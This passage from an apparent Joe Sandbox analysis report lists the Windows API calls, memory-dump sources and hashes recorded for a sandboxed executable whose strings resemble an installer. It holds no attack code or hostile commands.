                                                                                                                                                                                                                                        • Part of subcall function 0044F744: GetProcAddress.KERNEL32(00000000,user32.dll), ref: 0044F785
                                                                                                                                                                                                                                        • Part of subcall function 0044FC10: GetVersionExA.KERNEL32(0049B790,00498767), ref: 0044FC1F
                                                                                                                                                                                                                                        • Part of subcall function 004531F0: GetModuleHandleA.KERNEL32(kernel32.dll,Wow64DisableWow64FsRedirection,00000000,00453289,?,?,?,?,00000000,?,00498776), ref: 00453210
                                                                                                                                                                                                                                        • Part of subcall function 004531F0: GetProcAddress.KERNEL32(00000000,kernel32.dll), ref: 00453216
                                                                                                                                                                                                                                        • Part of subcall function 004531F0: GetModuleHandleA.KERNEL32(kernel32.dll,Wow64RevertWow64FsRedirection,00000000,kernel32.dll,Wow64DisableWow64FsRedirection,00000000,00453289,?,?,?,?,00000000,?,00498776), ref: 0045322A
                                                                                                                                                                                                                                        • Part of subcall function 004531F0: GetProcAddress.KERNEL32(00000000,kernel32.dll), ref: 00453230
                                                                                                                                                                                                                                        • Part of subcall function 00456F00: GetProcAddress.KERNEL32(00000000,SHCreateItemFromParsingName), ref: 00456F24
                                                                                                                                                                                                                                        • Part of subcall function 00464468: LoadLibraryA.KERNEL32(shell32.dll,SHPathPrepareForWriteA,0049878A), ref: 00464477
                                                                                                                                                                                                                                        • Part of subcall function 00464468: GetProcAddress.KERNEL32(00000000,shell32.dll), ref: 0046447D
                                                                                                                                                                                                                                        • Part of subcall function 0046CC64: GetProcAddress.KERNEL32(00000000,SHPathPrepareForWriteA), ref: 0046CC79
                                                                                                                                                                                                                                        • Part of subcall function 00478740: GetModuleHandleA.KERNEL32(kernel32.dll,?,00498794), ref: 00478746
                                                                                                                                                                                                                                        • Part of subcall function 00478740: GetProcAddress.KERNEL32(00000000,VerSetConditionMask), ref: 00478753
                                                                                                                                                                                                                                        • Part of subcall function 00478740: GetProcAddress.KERNEL32(00000000,VerifyVersionInfoW), ref: 00478763
                                                                                                                                                                                                                                        • Part of subcall function 00483A6C: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 00483B5B
                                                                                                                                                                                                                                        • Part of subcall function 00495724: RegisterClipboardFormatA.USER32(QueryCancelAutoPlay), ref: 0049573D
                                                                                                                                                                                                                                      • SetErrorMode.KERNEL32(00000001,00000000,004987DC), ref: 004987AE
                                                                                                                                                                                                                                        • Part of subcall function 004984D8: GetModuleHandleA.KERNEL32(user32.dll,DisableProcessWindowsGhosting,004987B8,00000001,00000000,004987DC), ref: 004984E2
                                                                                                                                                                                                                                        • Part of subcall function 004984D8: GetProcAddress.KERNEL32(00000000,user32.dll), ref: 004984E8
                                                                                                                                                                                                                                        • Part of subcall function 004244D4: SendMessageA.USER32(?,0000B020,00000000,?), ref: 004244F3
                                                                                                                                                                                                                                        • Part of subcall function 004242C4: SetWindowTextA.USER32(?,00000000), ref: 004242DC
                                                                                                                                                                                                                                      • ShowWindow.USER32(?,00000005,00000000,004987DC), ref: 0049880F
                                                                                                                                                                                                                                        • Part of subcall function 004820AC: SetActiveWindow.USER32(?), ref: 0048215A
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: AddressProc$HandleModule$Window$Version$ActiveClipboardCommandCurrentErrorF551FormatLibraryLineLoadMessageModePolicyProcessRegisterSendShowTextThread
                                                                                                                                                                                                                                      • String ID: Setup
                                                                                                                                                                                                                                      • API String ID: 3870281231-3839654196
                                                                                                                                                                                                                                      • Opcode ID: 4026870168645be20c4e504289bca16f7fc9894158eff1610b8fe089479f565d
                                                                                                                                                                                                                                      • Instruction ID: 72ad643eee306aeb53380572695708c68149a0501138caf3355f256a6ce1e3ac
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 4026870168645be20c4e504289bca16f7fc9894158eff1610b8fe089479f565d
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 7931C5712046409ED705BBBBAC5392D3B94EF8A728BA2447FF80486593DE3C58508A7F
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • CreateDirectoryA.KERNEL32(00000000,00000000,?,00000000,00453B13,?,?,00000000,0049B628,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00453A6A
                                                                                                                                                                                                                                      • GetLastError.KERNEL32(00000000,00000000,?,00000000,00453B13,?,?,00000000,0049B628,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00453A73
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: CreateDirectoryErrorLast
                                                                                                                                                                                                                                      • String ID: .tmp
                                                                                                                                                                                                                                      • API String ID: 1375471231-2986845003
                                                                                                                                                                                                                                      • Opcode ID: 7172d9ffade96b62561a832a68f8cbe161be4b5cae50dfb87ffdb02f7c338e4f
                                                                                                                                                                                                                                      • Instruction ID: ea6adcadec8e2c01cafa1ba510acc1338588d6ec7b4e1cf88163bb5bfef62d35
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 7172d9ffade96b62561a832a68f8cbe161be4b5cae50dfb87ffdb02f7c338e4f
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: A9213575A002089BDB01EFA1C8429DEB7B8EF49305F50457BE801B7343DA3CAF058B69
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                        • Part of subcall function 00483560: GetModuleHandleA.KERNEL32(kernel32.dll), ref: 00483571
                                                                                                                                                                                                                                        • Part of subcall function 00483560: GetProcAddress.KERNEL32(00000000,GetNativeSystemInfo), ref: 0048357E
                                                                                                                                                                                                                                        • Part of subcall function 00483560: GetNativeSystemInfo.KERNELBASE(?,00000000,GetNativeSystemInfo,kernel32.dll), ref: 0048358C
                                                                                                                                                                                                                                        • Part of subcall function 00483560: GetProcAddress.KERNEL32(00000000,IsWow64Process), ref: 00483594
                                                                                                                                                                                                                                        • Part of subcall function 00483560: GetCurrentProcess.KERNEL32(?,00000000,IsWow64Process), ref: 004835A0
                                                                                                                                                                                                                                        • Part of subcall function 00483560: GetProcAddress.KERNEL32(00000000,GetSystemWow64DirectoryA), ref: 004835C1
                                                                                                                                                                                                                                        • Part of subcall function 00483560: GetModuleHandleA.KERNEL32(advapi32.dll,RegDeleteKeyExA,00000000,GetSystemWow64DirectoryA,?,00000000,IsWow64Process), ref: 004835D4
                                                                                                                                                                                                                                        • Part of subcall function 00483560: GetProcAddress.KERNEL32(00000000,advapi32.dll), ref: 004835DA
                                                                                                                                                                                                                                        • Part of subcall function 0048388C: GetVersionExA.KERNEL32(?,00483A9E,00000000,00483B73,?,?,?,?,?,00498799), ref: 0048389A
                                                                                                                                                                                                                                        • Part of subcall function 0048388C: GetVersionExA.KERNEL32(0000009C,?,00483A9E,00000000,00483B73,?,?,?,?,?,00498799), ref: 004838EC
                                                                                                                                                                                                                                        • Part of subcall function 0042E394: SetErrorMode.KERNEL32(00008000), ref: 0042E39E
                                                                                                                                                                                                                                        • Part of subcall function 0042E394: LoadLibraryA.KERNEL32(00000000,00000000,0042E3E8,?,00000000,0042E406,?,00008000), ref: 0042E3CD
                                                                                                                                                                                                                                      • GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 00483B5B
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: AddressProc$HandleModuleVersion$CurrentErrorInfoLibraryLoadModeNativeProcessSystem
                                                                                                                                                                                                                                      • String ID: SHGetKnownFolderPath$shell32.dll
                                                                                                                                                                                                                                      • API String ID: 3869789854-2936008475
                                                                                                                                                                                                                                      • Opcode ID: 36bbd7205677a14235ded179242f98fe4396733ea939f399f849956901c26b03
                                                                                                                                                                                                                                      • Instruction ID: 33d3db6593e9873a674f830e342c1c65c6cab746408e9d399a43700aa418428b
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 36bbd7205677a14235ded179242f98fe4396733ea939f399f849956901c26b03
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 672100B06503516EC300BF7E59A661A3BA5EB5474C380893FF804EB3D2D77E68145BAE
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • RegCloseKey.ADVAPI32(?,?,00000001,00000000,?,?,?,0047C41C,00000000,0047C432), ref: 0047C12A
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: Close
                                                                                                                                                                                                                                      • String ID: RegisteredOrganization$RegisteredOwner
                                                                                                                                                                                                                                      • API String ID: 3535843008-1113070880
                                                                                                                                                                                                                                      • Opcode ID: 0e90ec8331aa68b80fdbd6afaabfad8867ded4c3b6cad332e65b349247218e2d
                                                                                                                                                                                                                                      • Instruction ID: 6af266579ce0f4cae339b7a6725c06c490679c1ac7d4d5cc7f46b4f942b6f465
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 0e90ec8331aa68b80fdbd6afaabfad8867ded4c3b6cad332e65b349247218e2d
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 32F0B430704244AFDB04DAA8EDD2BAA776AD741304FA4803FE1048F382D679DE019BAC
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • CreateFileA.KERNEL32(00000000,C0000000,00000000,00000000,00000001,00000080,00000000,00000000,?,004752F7), ref: 004750E5
                                                                                                                                                                                                                                      • CloseHandle.KERNEL32(00000000,00000000,C0000000,00000000,00000000,00000001,00000080,00000000,00000000,?,004752F7), ref: 004750FC
                                                                                                                                                                                                                                        • Part of subcall function 0045349C: GetLastError.KERNEL32(00000000,00454031,00000005,00000000,00454066,?,?,00000000,0049B628,00000004,00000000,00000000,00000000,?,00497F15,00000000), ref: 0045349F
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: CloseCreateErrorFileHandleLast
                                                                                                                                                                                                                                      • String ID: CreateFile
                                                                                                                                                                                                                                      • API String ID: 2528220319-823142352
                                                                                                                                                                                                                                      • Opcode ID: bbf61bf67fe349c097a8a02b07410db95704594b340b54041ead5b805cfa0960
                                                                                                                                                                                                                                      • Instruction ID: 6399d4087dc53d24fa9d3bc8bb06fd86b45c214eecae9240140a798b65cacfb0
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: bbf61bf67fe349c097a8a02b07410db95704594b340b54041ead5b805cfa0960
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 18E06D302407447BEA10FA69CCC6F4A77989B04768F10C162FA48AF3E2C5B9EC408658
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                        • Part of subcall function 00456E90: CoInitialize.OLE32(00000000), ref: 00456E96
                                                                                                                                                                                                                                        • Part of subcall function 0042E394: SetErrorMode.KERNEL32(00008000), ref: 0042E39E
                                                                                                                                                                                                                                        • Part of subcall function 0042E394: LoadLibraryA.KERNEL32(00000000,00000000,0042E3E8,?,00000000,0042E406,?,00008000), ref: 0042E3CD
                                                                                                                                                                                                                                      • GetProcAddress.KERNEL32(00000000,SHCreateItemFromParsingName), ref: 00456F24
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: AddressErrorInitializeLibraryLoadModeProc
                                                                                                                                                                                                                                      • String ID: SHCreateItemFromParsingName$shell32.dll
                                                                                                                                                                                                                                      • API String ID: 2906209438-2320870614
                                                                                                                                                                                                                                      • Opcode ID: 3ee7a517847f468c0619dab237ccb69dbf9a8b231eaadc82d937c3bc473404de
                                                                                                                                                                                                                                      • Instruction ID: 06a1b1eafb8ede6a4ef061af05be88198505768e1dcfa776260a5a664dfb1d55
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 3ee7a517847f468c0619dab237ccb69dbf9a8b231eaadc82d937c3bc473404de
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: BBC04CA1F5271156CA00BBFA655361F2805DB5031FBD2803FB948A7587CE7C9C095B6E
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                        • Part of subcall function 0042E394: SetErrorMode.KERNEL32(00008000), ref: 0042E39E
                                                                                                                                                                                                                                        • Part of subcall function 0042E394: LoadLibraryA.KERNEL32(00000000,00000000,0042E3E8,?,00000000,0042E406,?,00008000), ref: 0042E3CD
                                                                                                                                                                                                                                      • GetProcAddress.KERNEL32(00000000,SHPathPrepareForWriteA), ref: 0046CC79
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: AddressErrorLibraryLoadModeProc
                                                                                                                                                                                                                                      • String ID: SHPathPrepareForWriteA$shell32.dll
                                                                                                                                                                                                                                      • API String ID: 2492108670-2683653824
                                                                                                                                                                                                                                      • Opcode ID: 86cf81fee744bb21f40f36152ca0a59654e50c5ee39d1ae44c17eff86845b0ac
                                                                                                                                                                                                                                      • Instruction ID: d379c4162c5a45317e257a8b9368072ef34678a45322f04a033aff34d3fd6743
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 86cf81fee744bb21f40f36152ca0a59654e50c5ee39d1ae44c17eff86845b0ac
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 4BB092A06027018ADB00F7F258A662B28099B40319B20803B71889B685EE3C88004BAF
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • LoadLibraryExA.KERNEL32(00000000,00000000,00000008,?,?,00000000,00448709), ref: 0044864C
                                                                                                                                                                                                                                      • GetProcAddress.KERNEL32(00000000,00000000), ref: 004486CD
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: AddressLibraryLoadProc
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 2574300362-0
                                                                                                                                                                                                                                      • Opcode ID: c059e024c9e6eb8416f72924d9350c7e8f021855cc9b01300ad62ba4517ae118
                                                                                                                                                                                                                                      • Instruction ID: 2eaa58f6359003fef9dee836e3db1fa56ae38c906bc4f4c4d93ca6671f7cd4fb
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: c059e024c9e6eb8416f72924d9350c7e8f021855cc9b01300ad62ba4517ae118
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 14515470E00105AFDB40EF95C491AAEBBF9EB45319F11817FE414BB391DA389E05CB99
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • GetSystemMenu.USER32(00000000,00000000,00000000,00481898), ref: 00481830
                                                                                                                                                                                                                                      • AppendMenuA.USER32(00000000,00000800,00000000,00000000), ref: 00481841
                                                                                                                                                                                                                                      • AppendMenuA.USER32(00000000,00000000,0000270F,00000000), ref: 00481859
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: Menu$Append$System
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 1489644407-0
                                                                                                                                                                                                                                      • Opcode ID: d933746ff7b66401e606975732ccc260a02719cdd81df1f2e9532199b1c22675
                                                                                                                                                                                                                                      • Instruction ID: 2579a7d5db53e33ee4863251c1290a2b13440539eb68b17f0e677d1311332c65
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: d933746ff7b66401e606975732ccc260a02719cdd81df1f2e9532199b1c22675
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: A131A3307043445AD721BB769C83B6E3B989F55718F54587FF8009A2E3CA7C9D0A879D
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • GetDC.USER32(00000000), ref: 0044B401
                                                                                                                                                                                                                                      • SelectObject.GDI32(?,00000000), ref: 0044B424
                                                                                                                                                                                                                                      • ReleaseDC.USER32(00000000,?), ref: 0044B457
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: ObjectReleaseSelect
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 1831053106-0
                                                                                                                                                                                                                                      • Opcode ID: 71686dd1bf2aceb477ce3f8db4b541325f82ff5bc32dc74031120fde16d0cea8
                                                                                                                                                                                                                                      • Instruction ID: 242bcfed98594cbdcf51f2854abe94a1ec69c13560e3a72339b9f4254961cc58
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 71686dd1bf2aceb477ce3f8db4b541325f82ff5bc32dc74031120fde16d0cea8
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 62216570A04248AFEB15DFA6C841B9F7BB9DB49304F11806AF904A7682D778D940CB59
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • MultiByteToWideChar.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00000000,0044B14C,?,004820C7,?,?), ref: 0044B11E
                                                                                                                                                                                                                                      • DrawTextW.USER32(?,?,00000000,?,?), ref: 0044B131
                                                                                                                                                                                                                                      • DrawTextA.USER32(?,00000000,00000000,?,?), ref: 0044B165
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: DrawText$ByteCharMultiWide
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 65125430-0
                                                                                                                                                                                                                                      • Opcode ID: 48900d8d8fc19135f8d19aada3e9e9d8d34cb92564939e70bb5bc2663f887e99
                                                                                                                                                                                                                                      • Instruction ID: fec6fabf6d030a51aab30bc406273ff78954f96defe81b00f374268ef7e1f253
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 48900d8d8fc19135f8d19aada3e9e9d8d34cb92564939e70bb5bc2663f887e99
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 2A11CBB27046047FEB00DB6A9C91D6F77ECDB49750F10817BF504D72D0D6399E018669
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • PeekMessageA.USER32(?,00000000,00000000,00000000,00000001), ref: 00424412
                                                                                                                                                                                                                                      • TranslateMessage.USER32(?), ref: 0042448F
                                                                                                                                                                                                                                      • DispatchMessageA.USER32(?), ref: 00424499
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
